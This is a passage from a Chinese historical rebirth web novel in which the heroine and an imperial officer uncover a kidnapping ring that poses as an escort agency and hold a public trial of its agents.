八年来,县令换了三次,他都没让人知道他经营的是霍家产业,只透露是京城某官家的产业。
霍鸣羡听了眉头收紧。
这种人想要破案,除非苦主把证据摆到他面前。
“大公子,其实还有一事。”郑谷仓想到最近半年来发生在阳东县的几件怪事。
“什么事?”霍鸣羡一愣。
“最近半年,阳东县其实失踪了几次人口。不是孩子,也不是女子,而是一些有特殊本领的艺人。
而且还有一家全家五口**的,当家的却是在**之前失踪。”郑谷仓当时听了这个消息一阵唏嘘。
可他不是县令,只听个热闹。
可前后,他听了好几起失踪案,时不时也会在脑子里想想,到底是怎么回事。
“都是什么样的艺人。”霍鸣羡来了兴趣。
“一个是木匠,是咱们阳东县出了名的手艺人,只是他失踪的时候都五十岁了,所以儿孙们找了找,没找到人就放弃了,以为老人家喝多了酒不知滚到哪条河里冲走了。
还有一个制墨很不错的,那人做的墨自带香味,而且紫光如玉,沉而不浮,深受文人墨客喜欢。
还有两个是铁匠,能做各种武器,听说还会做暗器。
柳姑娘是唯一失踪的女子,还是没成亲的姑娘。”郑谷仓把他知道的都说了一遍。
都是些小人物,官府不可能下大力去找。
随便找个理由就把苦主打发了。
霍鸣羡听后,想得更多。
连郑叔都看出这些人的共同点,说明这几起失踪案定是有人故意为之。
第123章 又一个失踪
而究竟是谁所为,需得好好查查。
回到住处,他写了一封信回京。
送出信后,霍鸣羡脑子里时不时想着柳絮儿失踪案。
在染坊里看了一天师傅们染色,霍鸣羡还是第一次如此认真看工人染色。
虽是自家产业,但他从没看过。
这一日,他跟着师傅们了解了整个布料染色过程。
各个环节都需要技术。
而染坊里的大师傅在他眼里才是真正的人才。
下什么料出什么色,用量多少,都是学问。
而他从来没接触过,觉得很新鲜。
在染坊里与工人们一起吃了晚饭才出来。
染坊在一个相对比较偏的位置。
工人们也陆续收工。
霍鸣羡带着阿福和一个护卫想走近路回客栈。
夜色下,有个身影走在他们前面不远处。
突然,从一个巷子口窜出两个人影,架着前面正在行走的那人就往那巷子里拖。
那人只来得及发出一个低低的“你”字,就没了声音。
霍鸣羡三人都愣住。
难道那人遇到的是熟人?可熟人也不会如此突然冲出来,架着人就走。
怎么也得说几句闲话。
“大公子,前面那人应该遇到歹人了。”阿福小声道。
“走,跟上去看看。”
可是三人来到那个巷子时,半个人影也没看到。
“祝风,你有些功夫,去看看那三人可能去了哪里。”霍鸣羡吩咐跟着的护卫。
“是。”祝风顺着巷子一家家跃上墙头看。
当来到一家的墙头时,看到里面没有点灯,跃下去一看,院子里全是荒草,原来是一家没人居住的人家。
再走到后面,结果看到后门是开着的。
祝风匆匆追出去,就看到一辆马车停在那里。
正好看到两人把一个不能动弹的人推上马车,一人坐到车轼上,马鞭一甩,马就跑了起来。
祝风提快速度跟上。
霍鸣羡与阿福顺着刚才的路沿路查看。
“大公子,你看。”阿福从地上捡起一块帕子。
霍鸣羡接过,放在鼻端闻了闻。
一股极淡的、甜腻中带着一丝腥气的异香钻入鼻腔。
接着他就感觉一阵眩晕感传来,立即把帕子拿远一点。
帕子上有**。
“走,去找个大夫看看这帕子上是什么药。”霍鸣羡说道。
出了这个巷子,没走多远就有一家医馆,正准备打烊。
老大夫见有人上门,停下上门板的动作。
“公子可是看病?”老大夫问道。
“大夫,您能帮我看看这帕子上是什么药吗?”霍鸣羡行了一礼问道。
老大夫接过帕子只在鼻尖停留了一下就立即拿开。
“你这是哪里来的?”老大夫大吃一惊。
“我们刚才在这个巷子里捡到的。”
“你捡这害人的玩意儿做什么?”老大夫说着就要把帕子放到油灯上给烧了。
“大夫不可。”霍鸣羡立刻阻止。
“你可知道这上面的是什么?”老大夫明显生气了。
作为医者,最讨厌这些害人的东西。
“是**。”霍鸣羡如实回道。
“这是一种从西凉传来的名为“迷蝶香”的秘药,少量就可致人昏迷。你今儿运气好,正好遇到我识得此药。”老大夫摸了摸胡须。
想到多年前,他曾随自己的师父游历,遇到过一回这种药,从此就把这药给记下了。
回到客栈,等了约一个时辰,祝风才回来。
“怎么样?”阿福迫不及待问道。
“大公子,属下跟上了那两人了。
走在我们前面的那人被两人迷晕后送上了一辆马车,最后停在一个叫兴隆镖局的后门。
属下不敢进去查看,里面全是镖师,个个都有一身武艺。”
他一个人,一进去肯定是个死,还是把消息带回来更为重要。
然,翌日,霍鸣羡就收到消息,染坊的大师傅今日没去上工。
各处找人都没找到,霍鸣羡再一联想到昨晚看到的,就知道染坊的大师傅一定就是那被掳走之人。
气得霍鸣羡脸色阴沉。
霍鸣羡直接去衙门报案。
结果县令却无所谓地摆了摆手:“两日后再来,一个老头,又不是姑娘。”
霍鸣羡写回京的信只用了一天就到了。
当霍凝玉看到信后,才一拍脑门。
这事她有印象。
前世这时她病得很重,阳东县传来消息,染坊和绣坊各失踪了一个重要的技人,父亲只让管事的看着处理。
直到她死后,大哥利用还没上职前去了一趟阳东县,她也跟在后面去了。
阳东县前后发生了多起人口失踪案
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可那狗县令仗着京中有人,不作为,一直没查出个所以然来。
她就在县城各处飘荡,想看看能不能找到线索。
还真让她找到了真相,可是她却无法告诉大哥,她只是一抹幽魂。
此事只能不了了之。
大哥只带了一个护卫,又没有一官半职,又不能直接向县令表明身份,要想查清此事肯定做不到。
霍凝玉想了想,拿定主意,写了一封信。
“青风,帮我把这封信送去给赵大哥。”
青风拿了信离去。
霍凝玉向母亲说明了一下,得到允许后,准备了几件换洗的衣服就坐上马车出城而去。
刚出了东城门口,赵炳煜就追了上来。
而且后面还跟着五十个一身皇城司成员特有服饰的汉子。
一个个都健壮有力,精神抖擞。
刚一看到霍家的马车,他就跳下马,钻进了马车。
“你怎么来得这么快?”霍凝玉微笑道。
“未婚妻有吩咐,当然要跑快些。”赵炳煜在她面前已经完全没了以前的高冷。
而是变得越来越接地气,有生气多了。
神秘且不近人情的皇城司使,在霍家人面前和在外人面前完全两样。
“你说鸣羡在阳东县遇到**烦,到底什么麻烦?”赵炳煜看了信后,立刻就点了人跟来。
霍凝玉要去阳东县,且已经出发,让他带着人一起去帮忙。
还说有一件大案在阳东县发生,让他去立功。
“阳东县在半年内有好几个人失踪......”霍凝玉把阳东县的事说了一遍,而且说得比霍鸣羡信里写得还要详细。
“是不是你又梦见了什么?”赵炳煜眼神炽**看着霍凝玉。
“没错。我们还是快些走吧,如果动作够快,或许还能救下失踪的人。”霍凝玉之所以这么急,就是打着能救下人的想法。
赵炳煜一声令下,全速前进。
只是他们刚走出一百里左右,看到一队押镖的队伍正向京城方向而来。
镖队看到穿军服的一群人打马而来,立刻让到旁边,让霍凝玉他们先过。
等到霍凝玉他们过去,镖队才继续前进,只是方向略改了一点,并不是直接进京,而是往京城方向偏西而行。
又跑出几里路。
霍凝玉突然一声尖叫:“停车!”
第124章 劫镖
“怎么了?”赵炳煜见他神情不对,问道。
“赵大哥,我们刚才忘记问那队镖是从哪里来的,是什么镖局。而他们来的方向正好是阳东县。”霍凝玉急急说道。
赵炳煜一听就明白了。
“掉头,追。”
赵炳煜也不与霍凝玉一起坐马车了,跨上马背,一马当先,追了出去。
青风驾着马车跟在后面。
只用两刻钟就追上了那队镖队。
“官府办案,搜查。”余征一声高喝,拿出自己的身份牌,向镖队领头一亮。
赵炳煜一挥手,五十个兵士把镖队团团围住。
“这位官爷,我们不曾犯案,为何要搜查?”镖队领头的一副胸有成竹的样子,上前谈判。
“少废话。”余征直接抽出随身长剑一指着他。
镖师们见来真格的,都看着他们的领头钱镖头,等他下令。
钱镖头脸色几度变换,他们一共二十五人,可对方却有五十人,且是官府的兵。
一看他们的穿着,他就知道这些官兵的身份:皇城司使。刚才错身而过的那帮人。
钱镖头权衡了一番,向自己的同伴轻轻摇了摇头。
“官爷请。我们押的都是些药材和上等的绸布,还有几箱书籍,准备前往漳州府。”钱镖头解释道,并做了一个请的手势。
而他心里却七上八下。
他们什么也没做,怎么招来这些人搜查。
“你们从哪里来?”余征开始查问。
“从阳东县来。”钱镖头拿出他的路引。
余征只看了一眼就递给了赵炳煜。
当看到兴隆镖局几个字时,赵炳煜对霍凝玉的敏锐赞叹不已。
要不是她突然叫停,不放过任何可能,还真有可能错过了。
余征带着人一车一车仔细搜查。
这时霍凝玉也赶到。
看到已经开始搜查。
她下了马车,想看个究竟。
她想第一时间知道自己的猜测对不对。
赵炳煜站到她旁边,以防这些人突然发难。
走镖的,都是刀口上舔血的人,手上的人命不知多少。
如若他们想破釜沉舟,也不是不可能。
随着余征一步步搜查,还真如钱镖头所说,都是药材和绸布。
十几辆马车全部搜了一遍,什么也没发现。
余征有些失望,把路引还给钱镖头。
“头儿,没发现异常。”
他把所有箱子都查看过,就连马车底下都看过。
“余征,你有没有觉得有几辆车的车板比我们平时看到的拉货马车都厚,起码快一尺厚了。”霍凝玉眯了眯眼,说道。
余征一看,还真是。
这样的马车也有,不过少,除非长期载重物。
显然这些货并不是特别重。
而听到霍凝玉这话的钱镖头身子一僵。
这女人怎么这么敏锐,手已经压在了腰间的大刀上。
其他镖师见钱镖头的动作,也都纷纷做出同样的动作。
而他们的反应被赵炳煜看了个一清二楚。
“再搜。”一声令下。
余征带着两人走到一辆马车前,让一个同伴把一个车板撬开。
而就在那兵士撬车板时,钱镖头怒目圆瞪,脸色不停变幻。
最终他刷地一声提起了手中大刀。
“兄弟们,走。”他不敢与官兵抗衡,但可以逃。
二十五个镖师都紧紧盯着那撬车板的兵士,就等着老大一声令下。
一听不是让他们拼了,而是逃走,一个个都冲向马车,砍了套马绳,准备骑马逃走。
然,赵炳煜早就料到他们会如此选择。
一挥手,五十人齐齐动手抽出武器。
一场小规模的打杀打响。
钱镖头被三个皇城司的兵围着打。
没想到钱镖头武功了得,三人都不是他的对手。
“青风,护好凝玉。”赵炳煜吩咐完,也冲了上去。
剑起剑落杀向钱镖头。
皇城司的人,都是赵炳煜从禁军中精挑细选出来的人,武功不说多高强,但在几人配合的情况下,却是一股难以攻破的力量。
而且人数上还占优势,只用了一刻多钟就把二十几个镖师全部拿下,一个也没放跑。
钱镖头也被赵炳煜在五十招之内拿下。
这些镖师们练的都是外家功夫,靠的是一身蛮力。
赵炳煜难得亲自动手,与钟离洛切磋了那么久,今日想试试自己有多大进步。感觉还不错。
兵士继续撬车板,当第一个车板被撬开,果然如霍凝玉猜测,是一个
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暗格。
里面平躺着两个人,都昏迷不醒。
两个都是男子。
一看皮肤就知是常年做活的人。
当五辆车的车板被撬开,一共搬出来九个人。
其中只有一个姑娘,十六七岁的样子,还颇有几分姿色。
“林宇,你带着十人,把这些人押到就近城镇的大牢先关起来。这九人,应是中了**,本官先带走,等他们醒了再说。办好差再来追我们。”赵炳煜安排好,准备继续赶路。
“这些货怎么处理?”林宇问。
“先找个客栈寄存,回来时再取。”赵炳煜已经把这些货当他们皇城司的了。
打算给兄弟们发额外的饷银。
“是。”林宇听得眉开眼笑。跟着头儿,总有油水捞。
队伍继续前进。
因拿人耽误了些时间,已经赶不到阳东县。
找了一家客栈住下。
赵炳煜派人请来一位大夫给九人看诊。
喝了药,半个时辰后,九人才陆续醒来。
一醒来个个都惊慌失措,不知身在何处。
而那姑娘更是脸色煞白。
“姑娘,别怕,你已经得救了。”玛瑙立即安慰。
可姑娘还是吓得直往床角躲。
霍凝玉得到消息,从隔壁过来。
“姑娘,你是不是叫柳絮儿?”霍凝玉猜测问道。
大哥信里有写。
姑娘一听对方竟知道她的名字,这才抬起受惊的眼睛看向霍凝玉。
“你家里还有一位祖母,对吗?”霍凝玉继续温声问道。
姑娘这才轻轻点了点头。
“柳姑娘,我是七彩绣坊东家的女儿,姓霍。”霍凝玉报出自己的身份。
柳絮儿得到这个信息,双手抱膝的动作一僵。
再擦了擦眼泪,定定看着霍凝玉。
霍凝玉又点了点头,肯定刚才的话。
柳絮儿如找到救星般,几下爬过来,扑到霍凝玉面前。
突然放声大哭。
“小姐?你真是东家小姐?”
霍凝玉将她轻轻拥进怀里,让她哭个够。
也不知道她经历了什么,有没有被侵犯。
直到她哭够了,霍凝玉才放开她。
“已经没事了。告诉我,到底发生了什么事?”霍凝玉柔声问道。
第125章 一网打尽
柳絮儿这才稳定下情绪,说起自己这几天的经历。
“小姐,四月初十那日,我正在绣坊做活,有人告诉我,我祖母病了,要我回去看看。
可当我出了绣坊往家赶时,经过一个巷子口,有人叫住我,是我表哥,我就进了巷子,结果他突然用一个帕子捂住我的口鼻,只几息时间我就晕过去了。
等我醒来,发现自己被关在一个漆黑的房间里,只有一盏油灯亮着,每隔一段时间就有人从一个门洞里给我送饭进来。
一开始我不敢吃,可是实在饿得难受,不得不吃。
我也不知道过了几日。直到又一次晕过去,再醒来就在这儿。”
“也就是你并没有被男人给欺负?”霍凝玉提着的心放下。
只要没有被侵犯,她就还能好好过日子。
“没有没有。”柳絮儿急着说道。
“那就好。明日我就送你回家,你祖母一定急坏了。”
其他八个男子都讲了自己失踪前的经历。
他们都是莫名被迷晕带走,醒来后就被关在一个不见阳光的屋子里。
被关得最长的都不记得自己被关了多久。
只有柳絮儿是被男子骗走再迷晕的。
“赵大哥,这就是一起劫掳有手艺的匠人案。我南楚各行各业的人才众多。而有些技艺是我南楚独有,所以我怀疑很可能又是西凉人干的。
他们地处西面,手工技术应该比我们南楚差,所以就想从我们南楚挖人。”霍凝玉分析。
“没错,西凉一直对我南楚虎视眈眈,他们想要提高他们的国力,只能打我南楚的主意。
而东临与西凉不接壤,想要对东临下手,就要借道北魏,北魏不是傻的,不可能给西凉这个便利。”
翌日下午,霍凝玉一行赶到阳东县。
赵炳煜直接带着人把兴隆镖局围了,里面的人全部抓起来。
“大人,大人,出大事了。”一个衙差急匆匆跑进县衙。
“出什么大事?”县令程文远刚处理完公务,想进内衙休息休息,被这衙差的高喊给吓得心惊肉跳。
昨日那七彩布庄的东家又来缠他,非说他作坊里手艺最好的绣娘和染色大师傅被有心人掳去,是一场大阴谋。
那小子居然敢半夜去挖乱葬岗的坟。
让他下不来台。
码头扛包的那人,是码头的管事给了五十两银子的孝敬。他特意交代下去,早些埋了,这事也就不了了之。
怎么可能不见,乱葬岗上每天都有新坟,难道他还能把每一个都挖开看看。
几个低等的普通百姓,谁会掳走他们,还大阴谋,这种说法就是个大笑话。
“大人,刚才城门口进来好些官兵。看他们的穿着,好像是京城皇城司的人。”衙差也被吓坏了。
县里出了什么事?竟然惊动了京里的皇城司。
“你说什么?皇城司的人?”程文远不可置信。
“属下应该没看错。”
得到这个消息,程文远吓得乌纱帽都没戴正就匆匆出了衙门。
当他赶到兴隆镖局,就看到带着钟馗面具的赵炳煜,正在指挥人把兴隆镖局的人全都绑了。
“这位大人,我们犯了什么罪,为何要抓我们?”兴隆镖局的主人刘崇毅大声嚷嚷。
他心里直发憷,难道出行的镖队出事了?
可为何一个回来报信的都没有。
“什么罪?进了大牢你就知道了。”赵炳煜一挥手,一个个被押出镖局。
“可是赵壑赵大人?”程文远小跑而来。
气都没喘匀,先深施一礼。
他早就收到朝廷邸报,这位主已经是宁远将军头衔。
官职已是正五品,而他不过区区七品。
“程大人,在你辖区里发生这么大的案子,你竟毫无察觉,你该当何罪?”赵炳煜一声厉喝。
程文远被吓得一哆嗦:“赵大人,下官冤枉啊。这兴隆镖局自下官来此任职,本本分分接镖押镖,从没犯过什么事。”
而且每年还孝敬他上千两银子,这么懂得做人做事的镖局,他最是喜欢。
“哼,没用的东西。”赵炳煜懒得与他废话。
派了余征去县衙守着。
他先送霍凝玉去找霍鸣羡。
“妹妹怎么也来了?”霍鸣羡写回家的信,只是让妹妹把这个消息告诉赵炳煜。
“大哥,幸好你写信回家,不然那些个歹人就得逞了。”霍凝玉也懊恼自己受到提示才想起这里的事。
五年过去,好些事,不特意去想确实记不了那么多
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此时天色已暗。
吃过晚饭,洗去尘土,几人才坐下来说话。
“赵兄,你可知道这程县令是什么人?”霍鸣羡这两天找了两次程文远,就知道他什么能力。
三十几岁人了,做事不靠谱也就算了,还收了不少贿赂。
这样的人竟然也能做到县令之职,而且还是离京只有三百里的京畿县。
“于玄铮的妻弟,靠祖荫谋了个官职,霁王又疏通了一下,就来这里养闲。”
“原来如此。镇北侯现在连禁卫统领一职都没了,他居然还不知上进。这种人为官,简直就是为害一方。”
霍鸣羡刚刚经历过会试,想到那么多寒窗苦读十几二十年的人,到最后还是落榜,而这种毫无建树的无能之辈却占着县令之职。
“霁王和辰王比,确实差了些。如果霁王再不管好自己身后的人,迟早会被辰王给吃得渣都不剩。”霍凝玉摇了摇头。
重生后,她断了辰王不少羽翼,可也还是比霁王强一些。
“鸣羡为何不向那狗东西表明身份?”赵炳煜问得直接。
“家父一向低调。我霍家在外的产业尽量少让人知道为好。”霍鸣羡也秉持父亲的做法。
“我觉得无需如此小心翼翼。哪家手里没握着各种产业?只要遵纪守法,圣上并不在意。”赵炳煜作为皇家人,做事比较大气。
可霍凝玉却不赞同:“赵大哥,你是无所谓,可要是让圣上知道得太多,万一遇到国库吃紧,又遇到天灾,需要大量银钱时,谁家产业多,谁就是圣上打主意的对象。哪个官员没想着法把自己的口袋捂得紧紧的?”
这话让赵炳煜无法反驳,的确如此。
“是我着相了,我们霍家也确实不用过于低调。”霍鸣羡又改了态度。
想到以后妹妹嫁给赵炳煜,他想给妹妹多些嫁妆,暴露出一些产业也是好的。
“明日我与你一起去县衙,直接表明身份,助你查清人口失踪案。”霍鸣羡又道。
“嗯,不错,本官命你临时接管县衙,全权处理此案。”赵炳煜一本正经说道。
而且还摆起了官架子。
“赵大哥,大哥还没殿试呢,而且你有权力任命官职吗?”霍凝玉吃惊问道。
第126章 大量金银
赵炳煜淡笑不语,慢悠悠从怀里摸出一块玉牌。
霍凝玉和霍鸣羡看到上面的字后,都瞪大了眼睛。
霍凝玉的小嘴张得都能塞进一个小鸡蛋。
她正想念出那四个字,被赵炳煜阻止。
翌日。
赵炳煜把人分成几组去调查几家失踪的人家。
并让失踪者的亲人来接人。
当何大娘看到自己的孙女好端端站到她面前时,激动得老泪纵横。
当柳絮儿把自己得救的过程讲完,老人家拉着孙女跪到赵炳煜和霍家兄妹面前。
“多谢大人救命之恩,多谢东家为我们祖孙奔走。”何大娘活了一把年纪,心里明白,要不是有东家请来赵大人,她的孙女还不知道要流落到何处。
这份恩情,她无以为报,只能叩几个头来表示心意。
“何大娘,快起来。柳姑娘本是我家绣坊的绣娘,我们尽力找回来是应该的。”霍凝玉示意丫鬟赶紧把人扶起来。
“东家是好人啊。絮儿,以后好好在绣坊做事,不可辜负东家的心意。你也老大不小了,还是好好找个人嫁了吧,祖母再不提给你招婿的事。”何大娘也想开了。
她反正也没几年可活,不能拖累了孙女。
“大人,能否告诉我们,为何那些歹人要掳我孙女?”何大娘想弄清楚是怎么回事。
“大娘,我们霍家的绣坊一向管得严,不让传出谁的绣活最好。我们如此做,自是不希望有别的绣坊来挖人。而阳东县出了一个专门掳有技艺师傅的歹人团伙,想卖到别处去。
所以就让人假扮柳姑娘的表哥,目的就是想从柳姑娘口中套出,我们绣坊里谁的绣艺最好。
当得知柳姑娘就是最好的绣娘时,就冲她下手了。
而那人又怕你找他,就用假死脱身。
码头搬货被砸死是假的,不过是吃了**晕过去了而已。”霍鸣羡仔细解释。
“原来如此,都怪我。那人说愿意做上门女婿,我就心热了。”何大娘后悔得捶胸顿足。
把人送走,霍凝玉与赵炳煜一起去了一趟兴隆镖局。
有些证据还在里面。
霍凝玉五年前魂飘来过此处,熟门熟路找到柳絮儿和其他几人被关的黑屋子。
正是镖局正堂后的地下室。
专门关他们掳来的人。
看到里面脏污一片,吃喝拉撒都在这小小的黑屋子里。
难闻的气味冲入鼻息,让人忍不住作呕。
想到其中一个木雕师傅被关在这样的房里整整半年。
和坐牢有何区别。
“太可恶了,真是不把人当人。”余征都忍不住骂道。
霍凝玉前世来时,关在里面的人已经被送走,她只是魂魄,闻不到气味。
几人只看了一眼就立刻上来。
霍凝玉呼吸了好几大口气才缓解恶心。
“赵大哥,昨日有没有从镖局收出银钱来?”霍凝玉知道这个镖局存在不少年头了,应该存下不少银钱。
“有,不多。”赵炳煜认为镖局没有多少银钱,很正常。
请镖的主家结了账,都是按比例分给镖师,不会太富有。
“走,我带你再找找。”霍凝玉神秘一笑。
没让其他人跟着,只他们两人前往。
来到后堂,东北角的一个后罩房。
里面堆满了各种杂物,但却有一块地方空出来。
霍凝玉在门后面一个角落轻轻一按。
那块空出的地方,发出机括的“咔嗒”声。
接着地面向下退去,再向两边分开。
一个地下通道出现在两人眼前。
赵炳煜古怪地看了霍凝玉一眼。
这,她都能知道。
“你是怎么知道这个机关的?”赵炳煜忍不住问道。
霍凝玉笑而不语,示意他下去。
赵炳煜牵起霍凝玉的手,另一只手握着剑,走进洞口。
里面漆黑一片。
赵炳煜又点了火折子。
只下了台阶就看到一个密室的门。
居然又是五行锁。
霍凝玉回想了一下。
当时她是跟在刘崇毅的身后进来的。
慢慢转动机关。
当转到乙卯时,门开了。
赵炳煜又是一惊。
“凝玉,这也是你梦见的吗?”他实在忍不住了。
“嗯。”霍凝玉只轻轻嗯了一声。
以后看情况再告诉他真相吧。
进了密室,中间一张八仙桌。一盏油灯,还有笔墨纸砚。
且砚台里的墨还没干,可见
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主人应该不久前还来过这里。
赵炳煜点燃桌上的油灯。
这才看清室内有十几个大箱子。
霍凝玉就要打开一个箱子来看,被赵炳煜拦住。
用剑挑开。
银光一闪。
全是一锭锭银子。
再打开其他的,全是金银和一些珠宝。
“我的天,这么多。”霍凝玉惊呼。
她跟进来的那次,并没有看到这些箱子被打开,不知道里面装的什么。
“赵大哥,会不会价值比从林家抄出来的那些金子还要多?”霍凝玉拿起一串珠子,晶莹剔透,再看里面,好像有东西,“这是什么?”
赵炳煜接过在光下照了照。
“这是精品琥珀。宫里收藏了几件。”赵炳煜知道皇帝的御书房里有一个摆件,就是极品,且仅此一件。
赵炳煜把手窜直接戴到霍凝玉手腕上。
“这不成。”霍凝玉可不敢私藏这么贵重的东西。
“这是你发现的,给你的奖赏。看看还有什么喜欢的,你都可以拿。”赵炳煜又拿了几样东西来看,挑了挑,塞到霍凝玉手里。
霍凝玉心里美滋滋地收下,以后当嫁妆。
心情很好的霍凝玉又在墙壁的某个位置停下。
“这里有个暗格,但又有秘码。”赵炳煜也看到了。
霍凝玉又很顺利地打开了暗格,从里面取出四本册子。
两人对视一眼,坐到灯下看起来。
这才是霍凝玉最想找到的东西。
前世她只看到刘崇毅往其中一本上添加东西,其他内容并没看到。
刚刚翻了几页,赵炳煜就一拳砸在桌子上。
“真是无法无天了。”
“怎么了?”霍凝玉凑过头来看。
就看到一条内容:丁辰年二月五日,武举人蒋志凌已死。
“原来你的猜测是对的。果然有人在害我南楚的武学人才。”霍凝玉不可思议道。
赵炳煜阴沉着继续翻,前后记录了二十年时间的任务。
其中有杀官员,也有杀乡绅,还有杀能人异士的。
最多的就是武举人,整整五十多人。
“赵大哥,你看这里。”霍凝玉指着其中一条。
竟然是两人都熟悉的一个名字。
第127章 水落石出
“钟离洛!”霍凝玉愣愣地看着那三个字。
且旁边还备注着是谁买凶。
虽没直接写明是钟离家的大夫人,但猜测也能猜测得出,定是钟离家的某个下人来办的。
而钟离洛又正好是兴隆镖局想杀之人,双方一拍即合。
怀疑的事得到证实,可心里却很难受。
“不用难过,好在你救了他,这事他心里清楚。等他祖母去世,就可以分家,也不用看他大伯母的脸色。”赵炳煜看到霍凝玉难过的神情,轻声安慰。
“我知道。”
两人又继续看。
一本记录着这些年他们送往边城人员的名单,名单上前后共一百多人。
一本记录押镖的账本。
账本里居然有一笔记录着失踪的官银,那是十几年前的事。
赵炳煜看着那一串字,回忆了一下。
那时他还小,但这事他记得。
是从下面一个州府押往京城的税银,半路被劫。
原来是被这伙人给劫了。
监守自盗。
他们只需推出几个替死鬼就能把此事揭过去,或者他们内部有分歧,正好趁机铲除异己。
有了这几本账本和记录,一切都水落石出。
这些都是西凉国搞出来的事。
“赵大哥,西凉在我南楚也太猖狂了。”霍凝玉气愤道。
“圣上年纪大了,只想平平稳稳渡过最后的日子,能顺利把权柄传下去,不出乱子。
现在几位王爷蠢蠢欲动,太子又体弱,凌哲世子还不到七岁,他能稳固好朝政已经耗费不少精力,想主动出击西凉,基本不可能。
西凉一直就觊觎我南楚,而我南楚一直都以防守为主。
我们的武将本就少,马匹的品种不优,耐力不足,在战场上处于劣势。
而我们的兵都是农耕子弟,大部分时间还要种地,训练强度也不如西凉。
西凉地处西北,一到冬日就空闲下来,全力投入训练,而我南楚,就是冬日地里也有庄稼需照看。
还有一个最根本的原因,南楚人的生存压力没有西凉**,少了西凉人的那股狼性。”
赵炳煜仔细分析给霍凝玉听,希望她能理解圣上的难处,不要说错话。
“这些证据都摆到眼前了,你打算怎么处理?”霍凝玉呼出一口气。
“公开审案,让全县的百姓都看着,让百姓都知道西凉人的野心,也提高他们对西凉的恨意。”赵炳煜眼里带着幽光。
要不是皇伯父年纪大了,需要他在身边照顾一二,不然他早就去边城投军去了。
“希望下一代君王有雄心壮志,能够带领南楚把西凉打痛了,让他们再也不敢来犯。”霍凝玉把希望放在下一代君王身上。
可想到小小的赵凌哲还不到七岁,她又低低叹了一口气。
“不对啊,我们来的时候,遇到的那伙镖师,武功并不见有多好,你们只用了一刻钟就拿下了。
而这本里记录了那么多**的武举人,要是没有足够的本事,他们怎么杀得了那么多人?”霍凝玉又想到一个关键问题。
“兴隆镖局只是明面上的身份,而实际应该就是一个**组织。
那些放在明面上的镖师自是没什么本事,但暗里的**就不一定了。
况且武举人,也只是一个人,双拳难敌四手,一旦遇到**团体出动,一般逃不掉。”
赵炳煜眼睛亮了亮,凝玉能想到这些,真是聪明。
“可昨日为何不见那些人?”霍凝玉更疑惑了。
“****,靠的是出其不意。武功不一定十分好,只要能把人杀了就算完成任务。
钟离洛一次就杀了对方五人,要不是**,他未必会遇害。
一个**组织里真正的**不会有太多人,有十几二十个人就算比较大的**组织了。
其他人都是打探消息或者做其他事情的。”赵炳煜解释道。
“那昨日抓的那些人里,有没有**?”
“应该没有,所以我才要公开审案,看看有没有人来救人。”
“哦,明白了,你想钓鱼,一网打尽。”霍凝玉笑了,这招不错。
回到客栈,赵炳煜写了一份奏折,让人快马送回京,再带些人手来。
三日后,一切准备就绪。
阳东县人口失踪案公开审理。
不在县衙公堂上,而是在县衙大门外设下公堂,让更多的百姓看到。
百姓们得到消息,
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奔走相告,从来没有哪个县令把公堂搬到外面来的。
时辰一到,百姓们把公堂三面挤得水泄不通。
衙差们搬了些家具围出一片空地出来。
皇城司的兵隔一定距离站一个人,百姓虽挤,但也知道规矩,不能妨碍公务。
“听说今日审案的不是县令大人,而是从京城来的户部尚书之子,今年会试的会元,霍大公子。”
“我也听说了,咱们现在的县令屁本事没有,就知道要孝敬。
来阳东县一年半了,只破了些鸡毛蒜皮的小案,真正的人命官司,一个也破不了,都草草下定论。
我听说好几个喊冤的,根本就不是真正的凶手。”
“可县令大人是官,再喊冤也没用,都是平头百姓,受冤也没人能帮忙奔走。难道还能进京告御状?
皇上日理万机,哪里会管一个县里的百姓官司,除非是大案要案,或者是官宦人家出的事。”
霍凝玉求了好久,才被允许穿了一身男装混在衙差里面,参与今日审案。
她想见证整个过程,但青风一直不离她左右,跟得紧紧的,两人正好一个小组,就站在霍鸣羡身后,充当护卫。
一声惊堂木响,百姓瞬间安静。
“威武!”两排衙差齐齐高喊。
杀威棒在地上戳得砰砰响。
而真正的县令却如不存在般站在角落。
他被吓得不轻,眼睛紧紧盯着坐在他该坐的椅子上的霍鸣羡。
他怎么也没想到那是霍尚书家的大公子。
要是早知道,在他亲自来报案时,就不会随意把人打发了。
此时他悔得肠子都青了。
今日过后,他的县令还能不能做都是个问题,更别说回京后怎么面对霁王。
“带人犯李大奎。”霍鸣羡一声高喊。
一个衣衫褴褛的男子被带了上来。
一看就受过刑,头埋得低低的,不敢看人。
且走路还一瘸一拐的。
“带苦主何大娘祖孙上堂。”霍鸣羡再喊。
何大娘在柳絮儿的搀扶下走上堂来,何大娘精神好了很多,再没有第一次见到时的那种绝望和悲伤。
“何大娘,此人你可认得?”霍鸣羡问。
第128章 公开审案
“回大人,化成灰老妇都认得,他就是自称是我孙女的远房表哥,并称愿意做我柳家的上门女婿。”何大娘越说声音越大。
“柳絮儿,何大娘所言是否属实?”
“回大人,正是。也是他将我迷晕带走的。”柳絮儿说着,眼泪就啪嗒啪嗒滴了下来。
“他为何骗你?”霍鸣羡继续问。
“刚开始他很勤快帮家里做活。挑水,做饭,帮我祖母搬东西,买东西。赢得我好感后就向我打听绣坊的事。
问我绣坊里有没有男子,绣坊东家是谁,绣坊里的绣娘谁的绣艺最好。
想到以后他会是我未来的夫婿,我就如实告诉了他。
谁知我刚告诉了他两天,他就找了个借口把我从绣坊骗出来,再把我迷晕带走。”柳絮儿流着眼泪说道。
她本以为可以找个依靠,结果却遇到了豺狼虎豹。
“李大奎,你假装柳絮儿表哥,通过她打听绣坊里手艺最好的绣娘,就是为了掳人,掳了人后,又故意假死脱身,是也不是?”霍鸣羡又厉声问跪在地上的男子。
“是。”叫李大奎的男子供认不讳。
他在牢里被打怕了。
他不过是临时被人找来办这事的,说好事成后就给他五两银子,他就可以带着五两银子回家给母亲看病。
谁知才刚给母亲请医问药没两天,就有两个官兵来家里把他给抓。
一顿鞭子抽上身,他什么都招了。
“你真是她表哥吗?”霍鸣羡继续问。
“我是柳姑娘母亲娘家同村同族的表哥。”李大奎把头埋得更低。
为了五两银子,他出卖了自己的良心,可为了自己的母亲,他需要钱。
母亲守寡多年,一手养大他,他不忍眼睁睁看着母亲病死。
“那你可知你是为兴隆镖局掳人?”
“不知,只是有人找到我,并给了我一包药,教我如何做。
我把人掳了后,按那人给我的地点,把人放下就走了。
又去码头扛活,故意被货物砸中,也吃下药,昏死过去。
等我醒来正好在乱葬岗,还被一层薄薄的土给盖住。我起来后就悄悄回了家。”李大奎供认。
